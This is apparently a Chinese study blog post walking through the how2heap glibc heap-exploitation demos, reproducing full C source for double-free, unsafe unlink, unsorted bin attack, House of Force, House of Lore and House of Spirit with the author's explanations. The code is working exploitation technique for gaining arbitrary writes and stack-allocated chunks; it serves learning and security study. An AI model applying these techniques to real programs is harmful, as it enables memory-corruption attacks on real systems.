how2heap总结

今天,让我们来总结下how2heap,之前粗略过了一下,但最近发现还是有很多细节不太清楚,于是现在回头来重新调试下how2heap。

就按顺序来吧。

0x01 fastbin_dup:

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main()
 5 {
 6     fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.
");
 7 
 8     fprintf(stderr, "Allocating 3 buffers.
");
 9     int *a = malloc(8);
10     int *b = malloc(8);
11     int *c = malloc(8);
12 
13     fprintf(stderr, "1st malloc(8): %p
", a);
14     fprintf(stderr, "2nd malloc(8): %p
", b);
15     fprintf(stderr, "3rd malloc(8): %p
", c);
16 
17     fprintf(stderr, "Freeing the first one...
");
18     free(a);
19 
20     fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.
", a, a);
21     // free(a);
22 
23     fprintf(stderr, "So, instead, we'll free %p.
", b);
24     free(b);
25 
26     fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.
", a);
27     free(a);
28 
29     fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!
", a, b, a, a);
30     fprintf(stderr, "1st malloc(8): %p
", malloc(8));
31     fprintf(stderr, "2nd malloc(8): %p
", malloc(8));
32     fprintf(stderr, "3rd malloc(8): %p
", malloc(8));
33 }

接下来我们来运下这个程序

可以发现这是一个double free的分析,这个是fastbin内存分配的分析,fastbin是先入后出,free1 —— free2 —— free1,这样在使用的时候就是malloc1 —— malloc2 —— malloc1 —     — malloc2 —— malloc1……循环下去,可以再分配试一试。

0x02 fastbin_dup_into_stack:

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main()
 5 {
 6     fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into
"
 7            "returning a pointer to a controlled location (in this case, the stack).
");
 8 
 9     unsigned long long stack_var;
10 
11     fprintf(stderr, "The address we want malloc() to return is %p.
", 8+(char *)&stack_var);
12 
13     fprintf(stderr, "Allocating 3 buffers.
");
14     int *a = malloc(8);
15     int *b = malloc(8);
16     int *c = malloc(8);
17 
18     fprintf(stderr, "1st malloc(8): %p
", a);
19     fprintf(stderr, "2nd malloc(8): %p
", b);
20     fprintf(stderr, "3rd malloc(8): %p
", c);
21 
22     fprintf(stderr, "Freeing the first one...
");
23     free(a);
24 
25     fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.
", a, a);
26     // free(a);
27 
28     fprintf(stderr, "So, instead, we'll free %p.
", b);
29     free(b);
30 
31     fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.
", a);
32     free(a);
33 
34     fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
35         "We'll now carry out our attack by modifying data at %p.
", a, b, a, a);
36     unsigned long long *d = malloc(8);
37 
38     fprintf(stderr, "1st malloc(8): %p
", d);
39     fprintf(stderr, "2nd malloc(8): %p
", malloc(8));
40     fprintf(stderr, "Now the free list has [ %p ].
", a);
41     fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.
"
42         "so now we are writing a fake free size (in this case, 0x20) to the stack,
"
43         "so that malloc will think there is a free chunk there and agree to
"
44         "return a pointer to it.
", a);
45     stack_var = 0x20;
46 
47     fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.
", a);
48     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
49 
50     fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list
", malloc(8));
51     fprintf(stderr, "4th malloc(8): %p
", malloc(8));
52 }

 接下来我们来运下这个程序

 

 会发现再次申请的时候就把我们伪造的栈空间当malloc来申请了,这其中的要点为将stack_var = 0x20,然后将stack_var -8 的地址赋值到*d处,也就是fastbin的fd处。再次maollc到指向stack+8的堆。

0x03 first_fit:

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 
 5 int main()
 6 {
 7     fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
");
 8     fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.
");
 9     fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.
");
10     fprintf(stderr, "This can be exploited in a use-after-free situation.
");
11 
12     fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.
");
13     char* a = malloc(512);
14     char* b = malloc(256);
15     char* c;
16 
17     fprintf(stderr, "1st malloc(512): %p
", a);
18     fprintf(stderr, "2nd malloc(256): %p
", b);
19     fprintf(stderr, "we could continue mallocing here...
");
20     fprintf(stderr, "now let's put a string at a that we can read later "this is A!"
");
21     strcpy(a, "this is A!");
22     fprintf(stderr, "first allocation %p points to %s
", a, a);
23 
24     fprintf(stderr, "Freeing the first one...
");
25     free(a);
26 
27     fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p
", a);
28 
29     fprintf(stderr, "So, let's allocate 500 bytes
");
30     c = malloc(500);
31     fprintf(stderr, "3rd malloc(500): %p
", c);
32     fprintf(stderr, "And put a different string here, "this is C!"
");
33     strcpy(c, "this is C!");
34     fprintf(stderr, "3rd allocation %p points to %s
", c, c);
35     fprintf(stderr, "first allocation %p points to %s
", a, a);
36     fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
37 }

下这个程序

会发现这是一个UAF的分配原理,a被释放之后,变成了悬垂指针,又申请了c。使a和c同时指向的同一个堆的地址空间。这时候我们就可以通过这个指针来做一些事情了。

0x04 unsafe_unlink:

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 #include <stdint.h>
 5 
 6 
 7 uint64_t *chunk0_ptr;
 8 
 9 int main()
10 {
11     fprintf(stderr, "Welcome to unsafe unlink 2.0!
");
12     fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.
");
13     fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.
");
14     fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
");
15 
16     int malloc_size = 0x80; //we want to be big enough not to use fastbins
17     int header_size = 2;
18 
19     fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

");
20 
21     chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
22     uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
23     fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p
", &chunk0_ptr, chunk0_ptr);
24     fprintf(stderr, "The victim chunk we are going to corrupt is at %p

", chunk1_ptr);
25 
26     fprintf(stderr, "We create a fake chunk inside chunk0.
");
27     fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
");
28     chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
29     fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
");
30     fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
");
31     chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
32     fprintf(stderr, "Fake chunk fd: %p
",(void*) chunk0_ptr[2]);
33     fprintf(stderr, "Fake chunk bk: %p

",(void*) chunk0_ptr[3]);
34 
35     fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)
");
36     fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
");
37     fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))
");
38     fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).
");
39     fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check
");
40     fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing
");
41     fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass
");
42     fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20
");
43     chunk0_ptr[1] = sizeof(size_t);
44     fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)
", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
45     fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

");
46 
47     fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
");
48     uint64_t *chunk1_hdr = chunk1_ptr - header_size;
49     fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
");
50     fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
");
51     chunk1_hdr[0] = malloc_size;
52     fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p
",(void*)chunk1_hdr[0]);
53     fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

");
54     chunk1_hdr[1] &= ~1;
55 
56     fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
");
57     fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

");
58     free(chunk1_ptr);
59 
60     fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
");
61     char victim_string[8];
62     strcpy(victim_string,"Hello!~");
63     chunk0_ptr[3] = (uint64_t) victim_string;
64 
65     fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
");
66     fprintf(stderr, "Original value: %s
",victim_string);
67     chunk0_ptr[0] = 0x4141414142424242LL;
68     fprintf(stderr, "New Value: %s
",victim_string);
69 }

下这个程序

 这个用到了unlink的三个大点,制造伪堆,绕过unlink的保护机制和unlink的再分配。

下面我们来详细看下:

首先分配了两个大小为0x80的堆空间,但是为什么显示0x90呢?那是因为计算时候把下一个堆头的prevsize和size也计算进来了。

然后是构造伪堆,绕过unlink的保护机制。

然后 chunk1_hdr[0] = malloc_size; 修改prevsize标记的伪堆大小。

 

 来看看我们的伪堆,0x602070就是我们的目标哦。

 

然后通过更改指针,进而通过unlink来重新指向堆: chunk0_ptr[3] = (uint64_t) victim_string;
这里有两次伪堆的数据覆盖,先用前堆的bk覆盖,然后用后堆的fd覆盖,最终堆指向了我们需要的目标地址。

我们来看下unlink的源码,就能够明白是如何来更改其中的链表了:

 1 /* Take a chunk off a bin list */
 2 #define unlink(AV, P, BK, FD) {                                            
 3     if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
 4       malloc_printerr ("corrupted size vs. prev_size");                  
 5     FD = P->fd;                                      
 6     BK = P->bk;                                      
 7     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              
 8       malloc_printerr ("corrupted double-linked list");                  
 9     else {                                      
10         FD->bk = BK;                                  
11         BK->fd = FD;                                  
12         if (!in_smallbin_range (chunksize_nomask (P))                  
13             && __builtin_expect (P->fd_nextsize != NULL, 0)) {              
14         if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          
15         || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
16           malloc_printerr ("corrupted double-linked list (not small)");   
17             if (FD->fd_nextsize == NULL) {                      
18                 if (P->fd_nextsize == P)                      
19                   FD->fd_nextsize = FD->bk_nextsize = FD;              
20                 else {                                  
21                     FD->fd_nextsize = P->fd_nextsize;                  
22                     FD->bk_nextsize = P->bk_nextsize;                  
23                     P->fd_nextsize->bk_nextsize = FD;                  
24                     P->bk_nextsize->fd_nextsize = FD;                  
25                   }                                  
26               } else {                                  
27                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;              
28                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;              
29               }                                      
30           }                                      
31       }                                          
32 }

接下来就不用我说了吧,改变堆内容就改变了我们需要的目标咯。实际应用我们是否可以更改got为我们需要的地址呢?

0x05 unsorted_bin_attack:

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main(){
 5     fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack
");
 6     fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
 7            "global variable global_max_fast in libc for further fastbin attack

");
 8 
 9     unsigned long stack_var=0;
10     fprintf(stderr, "Let's first look at the target we want to rewrite on stack:
");
11     fprintf(stderr, "%p: %ld

", &stack_var, stack_var);
12 
13     unsigned long *p=malloc(400);
14     fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p
",p);
15     fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
16            "the first one during the free()

");
17     malloc(500);
18 
19     free(p);
20     fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
21            "point to %p
",(void*)p[1]);
22 
23     //------------VULNERABILITY-----------
24 
25     p[1]=(unsigned long)(&stack_var-2);
26     fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer
");
27     fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p

",(void*)p[1]);
28 
29     //------------------------------------
30 
31     malloc(400);
32     fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, target should has already been "
33            "rewrite:
");
34     fprintf(stderr, "%p: %p
", &stack_var, (void*)stack_var);
35 }

 这个程序

 这个unsorted bin 没有完全看懂,看出来他是通过修改unsorted bin 中的bk为stack -16(即减去2个地址空间),这样就让stack的内容变成的unsorted bin的head了(leak),不知道这其中做了些什么?所以我先看unlink之后再回头看这个。

 直接看源码吧。

1           /* remove from unsorted list */
2           unsorted_chunks (av)->bk = bck;
3           bck->fd = unsorted_chunks (av);

这一句话本意是将unsorted chunk从unsorted bin的链表中unlink下来,但是如果我们可以控制bk,就可以使得bck位置可控。而bck->fd是从相对位移去找的,换句话说,只要我们将bck修改为想要修改的位置-2*指针大小就可以使得bck->fd为我们要修改的位置,进而修改任意位置。

不过因为bck->fd = unsorted_chunks(av)这句话,而unsorted_chunks (av)并不能控制为任意内容,所以相对自由度还是比较小的,只能使得任意位置修改为一个指针。

泄露的地址:

fprintf(stderr, "%p: %p ", &stack_var, (void*)stack_var);

------------------------->         0x7fffffffdde0: 0x7ffff7dd37b8

当然了,细心的人估计已经想到了,可以对这个地址进行修改的哦!

0x06 house_of_force:

源码:

 1 /*
 2 
 3    This PoC works also with ASLR enabled.
 4    It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
 5    If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
 6    ( http://phrack.org/issues/66/10.html )
 7 
 8    Tested in Ubuntu 14.04, 64bit.
 9 
10 */
11 
12 
13 #include <stdio.h>
14 #include <stdint.h>
15 #include <stdlib.h>
16 #include <string.h>
17 #include <stdint.h>
18 #include <malloc.h>
19 
20 char bss_var[] = "This is a string that we want to overwrite.";
21 
22 int main(int argc , char* argv[])
23 {
24     fprintf(stderr, "
Welcome to the House of Force

");
25     fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
");
26     fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
27         "and is the chunk that will be resized when malloc asks for more space from the os.
");
28 
29     fprintf(stderr, "
In the end, we will use this to overwrite a variable at %p.
", bss_var);
30     fprintf(stderr, "Its current value is: %s
", bss_var);
31 
32 
33 
34     fprintf(stderr, "
Let's allocate the first chunk, taking space from the wilderness.
");
35     intptr_t *p1 = malloc(256);
36     fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.
", p1);
37 
38     fprintf(stderr, "
Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
");
39     int real_size = malloc_usable_size(p1);
40     fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %d.
", real_size);
41 
42     fprintf(stderr, "
Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
");
43 
44     //----- VULNERABILITY ----
45     intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
46     fprintf(stderr, "
The top chunk starts at %p
", ptr_top);
47 
48     fprintf(stderr, "
Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
");
49     fprintf(stderr, "Old size of top chunk %#llx
", *((unsigned long long int *)ptr_top));
50     ptr_top[0] = -1;
51     fprintf(stderr, "New size of top chunk %#llx
", *((unsigned long long int *)ptr_top));
52     //------------------------
53 
54     fprintf(stderr, "
The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
"
55        "Next, we will allocate a chunk that will get us right up against the desired region (with an integer
"
56        "overflow) and will then be able to allocate a chunk right over the desired region.
");
57 
58     unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
59     fprintf(stderr, "
The value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,
"
60        "we will malloc %#lx bytes.
", bss_var, ptr_top, evil_size);
61     void *new_ptr = malloc(evil_size);
62     fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p
", new_ptr);
63 
64     void* ctr_chunk = malloc(100);
65     fprintf(stderr, "
Now, the next chunk we overwrite will point at our target buffer.
");
66     fprintf(stderr, "malloc(100) => %p!
", ctr_chunk);
67     fprintf(stderr, "Now, we can finally overwrite that value:
");
68 
69     fprintf(stderr, "... old string: %s
", bss_var);
70     fprintf(stderr, "... doing strcpy overwrite with "YEAH!!!"...
");
71     strcpy(ctr_chunk, "YEAH!!!");
72     fprintf(stderr, "... new string: %s
", bss_var);
73 
74 
75     // some further discussion:
76     //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed

");
77     //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
78     //    "and we 
want to set this result to the address of malloc_got_address-8

");
79     //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size

");
80     //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8

");
81     //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
82     //    "
and basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address

");
83 
84     //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x
",p2);
85     //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x
",malloc_got_address);
86 
87     //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before
");
88 }

  这个程序

 

   这个就是对Top Chunk的利用了,这里就是一个简单的计算,首先把Top_Chunk的size设置为无限大,防止调用mmap,然后就是就是申请一个很大的空间evil_size,evil_size = bss_var - ptr_top - 2*地址(预留堆头空间),这样就是topchunk的地址变成了我们需要控制的区域来了,相当于把Top Chunk向地址下降了(top chunk = 0x602070),然后再malloc就能够精确控制bss区域了。其中Top Chunk的机理,我回头看看源码在来看看到底是个什么东东。

0x07 house_of_lore:

源码:

  1 /*
  2 Advanced exploitation of the House of Lore - Malloc Maleficarum.
  3 This PoC take care also of the glibc hardening of smallbin corruption.
  4 
  5 [ ... ]
  6 
  7 else
  8     {
  9       bck = victim->bk;
 10     if (__glibc_unlikely (bck->fd != victim)){
 11 
 12                   errstr = "malloc(): smallbin double linked list corrupted";
 13                   goto errout;
 14                 }
 15 
 16        set_inuse_bit_at_offset (victim, nb);
 17        bin->bk = bck;
 18        bck->fd = bin;
 19 
 20        [ ... ]
 21 
 22 */
 23 
 24 #include <stdio.h>
 25 #include <stdlib.h>
 26 #include <string.h>
 27 #include <stdint.h>
 28 
 29 void jackpot(){ puts("Nice jump d00d"); exit(0); }
 30 
 31 int main(int argc, char * argv[]){
 32 
 33 
 34   intptr_t* stack_buffer_1[4] = {0};
 35   intptr_t* stack_buffer_2[3] = {0};
 36 
 37   fprintf(stderr, "
Welcome to the House of Lore
");
 38   fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc
");
 39   fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23

");
 40 
 41   fprintf(stderr, "Allocating the victim chunk
");
 42   intptr_t *victim = malloc(100);
 43   fprintf(stderr, "Allocated the first small chunk on the heap at %p
", victim);
 44 
 45   // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
 46   intptr_t *victim_chunk = victim-2;
 47 
 48   fprintf(stderr, "stack_buffer_1 at %p
", (void*)stack_buffer_1);
 49   fprintf(stderr, "stack_buffer_2 at %p
", (void*)stack_buffer_2);
 50 
 51   fprintf(stderr, "Create a fake chunk on the stack");
 52   fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
 53          "in second to the last malloc, which putting stack address on smallbin list
");
 54   stack_buffer_1[0] = 0;
 55   stack_buffer_1[1] = 0;
 56   stack_buffer_1[2] = victim_chunk;
 57 
 58   fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
 59          "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
 60          "chunk on stack");
 61   stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
 62   stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
 63   
 64   fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
 65          "the small one during the free()
");
 66   void *p5 = malloc(1000);
 67   fprintf(stderr, "Allocated the large chunk on the heap at %p
", p5);
 68 
 69 
 70   fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin
", victim);
 71   free((void*)victim);
 72 
 73   fprintf(stderr, "
In the unsorted bin the victim's fwd and bk pointers are nil
");
 74   fprintf(stderr, "victim->fwd: %p
", (void *)victim[0]);
 75   fprintf(stderr, "victim->bk: %p

", (void *)victim[1]);
 76 
 77   fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin
");
 78   fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin
", victim);
 79 
 80   void *p2 = malloc(1200);
 81   fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p
", p2);
 82 
 83   fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated
");
 84   fprintf(stderr, "victim->fwd: %p
", (void *)victim[0]);
 85   fprintf(stderr, "victim->bk: %p

", (void *)victim[1]);
 86 
 87   //------------VULNERABILITY-----------
 88 
 89   fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer
");
 90 
 91   victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
 92 
 93   //------------------------------------
 94 
 95   fprintf(stderr, "Now allocating a chunk with size equal to the first one freed
");
 96   fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer
");
 97 
 98   void *p3 = malloc(100);
 99 
100 
101   fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk
");
102   char *p4 = malloc(100);
103   fprintf(stderr, "p4 = malloc(100)
");
104 
105   fprintf(stderr, "
The fwd pointer of stack_buffer_2 has changed after the last malloc to %p
",
106          stack_buffer_2[2]);
107 
108   fprintf(stderr, "
p4 is %p and should be on the stack!
", p4); // this chunk will be allocated on stack
109   intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
110   memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
111 }                

   这个程序:   

 这个程序,将victim chunk和两个fake chunk构造成双向链表,然后再smallbin分配时候,便申请了到了fake chunk。

 

这个关键是要改写victim chunk 的bk,关键改写地址: victim[1] = (intptr_t)stack_buffer_1 。然后双向链表在重新分配的时候,就会分配到栈上的空间为堆。

0x08 house_of_spirit:

源码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main()
 5 {
 6     fprintf(stderr, "This file demonstrates the house of spirit attack.
");
 7 
 8     fprintf(stderr, "Calling malloc() once so that it sets up its memory.
");
 9     malloc(1);
10 
11     fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.
");
12     unsigned long long *a;
13     // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
14     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
15 
16     fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.
", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
17 
18     fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
");
19     fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
");
20     fake_chunks[1] = 0x40; // this is the size
21 
22     fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
");
23         // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
24     fake_chunks[9] = 0x1234; // nextsize
25 
26     fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.
", &fake_chunks[1]);
27     fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
");
28     a = &fake_chunks[2];
29 
30     fprintf(stderr, "Freeing the overwritten pointer.
");
31     free(a);
32 
33     fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!
", &fake_chunks[1], &fake_chunks[2]);
34     fprintf(stderr, "malloc(0x30): %p
", malloc(0x30));
35 } 

 这个程序

 这个一看代码很少,程序比较简单了,哈哈,下面我们来看看这个程序是怎么运行的:(时隔好多天)看完这个程序之后确实,很简单,但最近却一直没有做,主要是最近事情比较繁杂,心态不够沉静。

先看看内存分布原理图把:

注意哦,这个数组就是栈上面的内存,a指向了第一个伪堆,free(a)的时候就把Fake_chunk_1这个伪堆放入了fastbin的链表中,这样的话再次分配的时候就把这一块的内存当做是heap区域的内存分配了,

注意这里fastbin的回收内存的大小,第一个chunk的size要在fastbin的范围内(x64机器上是 < 0x80),同时注意实际大小比可用大小多两个单元。

 关于这个技术如果要练手的话,可以去做一下 pwnable.tw 上的 spirited_away 这道题。

知识补充:

  更改C编译器的缺省字节对齐方式

  在缺省情况下,C编译器为每一个变量或是数据单元按其自然对界条件分配空间。一般地,可以通过下面的方法来改变缺省的对界条件:
  · 使用伪指令#pragma pack (n),C编译器将按照n个字节对齐。
  · 使用伪指令#pragma pack (),取消自定义字节对齐方式。

  另外,还有如下的一种方式:
  · __attribute((aligned (n))),让所作用的结构成员对齐在n字节自然边界上。如果结构中有成员的长度大于n,则按照最大成员的长度来对齐。
  · __attribute__ ((packed)),取消结构在编译过程中的优化对齐,按照实际占用字节数进行对齐。

 

 小结:

个人水平有限,只是写了自己的理解和归纳,最后一个例程house_of_einherjar在新版glibc已经不能用了,所以不做介绍。

 

 

 

 

 

原文地址:https://www.cnblogs.com/Yable/p/8000991.html